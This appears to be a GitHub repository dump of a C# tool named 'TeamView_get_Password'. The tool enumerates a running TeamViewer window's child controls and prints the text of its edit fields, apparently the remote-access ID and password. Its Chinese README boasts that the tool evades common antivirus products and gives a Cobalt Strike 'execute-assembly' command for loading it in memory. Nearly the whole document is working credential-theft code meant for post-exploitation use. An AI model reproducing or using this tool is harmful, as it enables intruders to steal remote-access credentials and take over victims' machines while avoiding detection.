├── 1.png
├── README.md
├── TeamViewplay.exe
├── TeamViewplay.sln
└── TeamViewplay
├── App.config
├── Program.cs
├── Properties
└── AssemblyInfo.cs
└── TeamViewplay.csproj
/1.png:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wafinfo/TeamViewer/93175724b32909860268054471d3defafe3937dd/1.png
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 |
TeamView_get_Password
2 |
3 | ## 👮🏻♀️ 免责声明
4 |
5 | 由于传播、利用TeamView_get_Password工具提供的功能而造成的**任何直接或者间接的后果及损失**,均由使用者本人负责,本人**不为此承担任何责任**。
6 |
7 |
8 | ## 使用介绍
9 | 目前免杀某60,某绒等等
10 | 
11 |
12 | ## 支持CobaltStrike内存加载
13 | execute-assembly /path/to/TeamViewplay.exe
--------------------------------------------------------------------------------
/TeamViewplay.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/wafinfo/TeamViewer/93175724b32909860268054471d3defafe3937dd/TeamViewplay.exe
--------------------------------------------------------------------------------
/TeamViewplay.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio Version 16
4 | VisualStudioVersion = 16.0.30717.126
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "TeamViewplay", "TeamViewplay\TeamViewplay.csproj", "{6078F846-8D15-4AC3-8799-119683E20008}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | EndGlobalSection
13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
14 | {6078F846-8D15-4AC3-8799-119683E20008}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
15 | {6078F846-8D15-4AC3-8799-119683E20008}.Debug|Any CPU.Build.0 = Debug|Any CPU
16 | {6078F846-8D15-4AC3-8799-119683E20008}.Release|Any CPU.ActiveCfg = Release|Any CPU
17 | {6078F846-8D15-4AC3-8799-119683E20008}.Release|Any CPU.Build.0 = Release|Any CPU
18 | EndGlobalSection
19 | GlobalSection(SolutionProperties) = preSolution
20 | HideSolutionNode = FALSE
21 | EndGlobalSection
22 | GlobalSection(ExtensibilityGlobals) = postSolution
23 | SolutionGuid = {F14F027A-F147-4D57-86CD-FF30C0E1AF4E}
24 | EndGlobalSection
25 | EndGlobal
26 |
--------------------------------------------------------------------------------
/TeamViewplay/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
--------------------------------------------------------------------------------
/TeamViewplay/Program.cs:
--------------------------------------------------------------------------------
1 | using System;
2 | using System.Runtime.InteropServices;
3 | using System.Text;
4 |
5 | namespace TeamViewplay
6 | {
7 | class Program
8 | {
9 | static void Main(string[] args)
10 |
11 |
12 | {
13 | IntPtr hwnd = FindWindow(null, "TeamViewer");
14 | if (hwnd != IntPtr.Zero)
15 | {
16 | Getwidows(hwnd);
17 | }
18 | else
19 | {
20 | Console.WriteLine("没有找到窗口");
21 | }
22 | }
23 |
24 | public static void Getwidows(IntPtr hwnd) {
25 | IntPtr winPtr = GetWindow(hwnd, GetWindowCmd.GW_CHILD);
26 | while (winPtr != IntPtr.Zero)
27 | {
28 | GetText(winPtr);
29 | IntPtr temp = GetWindow(winPtr, GetWindowCmd.GW_CHILD);
30 | winPtr = temp;
31 | }
32 | }
33 |
34 | public static void GetText(IntPtr GetWind) {
35 | IntPtr GetPtr = GetWindow(GetWind, GetWindowCmd.GW_HWNDNEXT);
36 | while (GetPtr != IntPtr.Zero)
37 | {
38 | StringBuilder sb = new StringBuilder(1024);
39 | GetClassName(GetPtr, sb, 1024);
40 | if (sb.ToString().TrimEnd('\r', '\n') == "Edit")
41 | {
42 | StringBuilder stringBuilder2 = new StringBuilder(1024);
43 | SendMessage(GetPtr, WM_GETTEXT, 1024, stringBuilder2);
44 | Console.WriteLine(stringBuilder2);
45 | }
46 | Getwidows(GetPtr);
47 | IntPtr temp = GetWindow(GetPtr, GetWindowCmd.GW_HWNDNEXT);
48 | GetPtr = temp;
49 | }
50 | }
51 |
52 |
53 | enum GetWindowCmd : uint
54 | {
55 | GW_HWNDFIRST = 0,
56 | GW_HWNDLAST = 1,
57 | GW_HWNDNEXT = 2,
58 | GW_HWNDPREV = 3,
59 | GW_OWNER = 4,
60 | GW_CHILD = 5,
61 | GW_ENABLEDPOPUP = 6
62 | }
63 | public static int WM_GETTEXT = 0x000D;
64 |
65 | [DllImport("user32.dll")]
66 | public static extern bool DestroyWindow([System.Runtime.InteropServices.InAttribute()] System.IntPtr hWnd);
67 | [System.Runtime.InteropServices.DllImportAttribute("user32.dll", EntryPoint = "GetClassName")]
68 | public static extern int GetClassName([System.Runtime.InteropServices.InAttribute()] System.IntPtr hWnd, System.Text.StringBuilder lpClassName, int nMaxCount);
69 | [DllImport("user32.dll", SetLastError = true)]
70 | static extern IntPtr GetWindow(IntPtr hWnd, GetWindowCmd uCmd);
71 | [System.Runtime.InteropServices.DllImportAttribute("user32.dll", EntryPoint = "EnumWindows")]
72 | public static extern System.IntPtr GetWindow([System.Runtime.InteropServices.InAttribute()] System.IntPtr hWnd, uint uCmd);
73 | [DllImport("user32.dll")]
74 | public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
75 | [DllImport("User32.dll", EntryPoint = "SendMessage")]
76 | private static extern int SendMessage(IntPtr hWnd, int Msg, int wParam, StringBuilder lParam);
77 | [DllImport("User32.dll ")]
78 | public static extern IntPtr FindWindowEx(IntPtr parent, IntPtr childe, string strclass, string FrmText);
79 |
80 |
81 | }
82 |
83 | }
84 |
85 |
86 |
--------------------------------------------------------------------------------
/TeamViewplay/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // 有关程序集的一般信息由以下
6 | // 控制。更改这些特性值可修改
7 | // 与程序集关联的信息。
8 | [assembly: AssemblyTitle("TeamViewplay")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("TeamViewplay")]
13 | [assembly: AssemblyCopyright("Copyright © 2021")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // 将 ComVisible 设置为 false 会使此程序集中的类型
18 | //对 COM 组件不可见。如果需要从 COM 访问此程序集中的类型
19 | //请将此类型的 ComVisible 特性设置为 true。
20 | [assembly: ComVisible(false)]
21 |
22 | // 如果此项目向 COM 公开,则下列 GUID 用于类型库的 ID
23 | [assembly: Guid("6078f846-8d15-4ac3-8799-119683e20008")]
24 |
25 | // 程序集的版本信息由下列四个值组成:
26 | //
27 | // 主版本
28 | // 次版本
29 | // 生成号
30 | // 修订号
31 | //
32 | //可以指定所有这些值,也可以使用“生成号”和“修订号”的默认值
33 | //通过使用 "*",如下所示:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/TeamViewplay/TeamViewplay.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {6078F846-8D15-4AC3-8799-119683E20008}
8 | Exe
9 | TeamViewplay
10 | TeamViewplay
11 | v2.0
12 | 512
13 | true
14 |
15 |
16 |
17 | AnyCPU
18 | true
19 | full
20 | false
21 | bin\Debug\
22 | DEBUG;TRACE
23 | prompt
24 | 4
25 |
26 |
27 | AnyCPU
28 | pdbonly
29 | true
30 | bin\Release\
31 | TRACE
32 | prompt
33 | 4
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
--------------------------------------------------------------------------------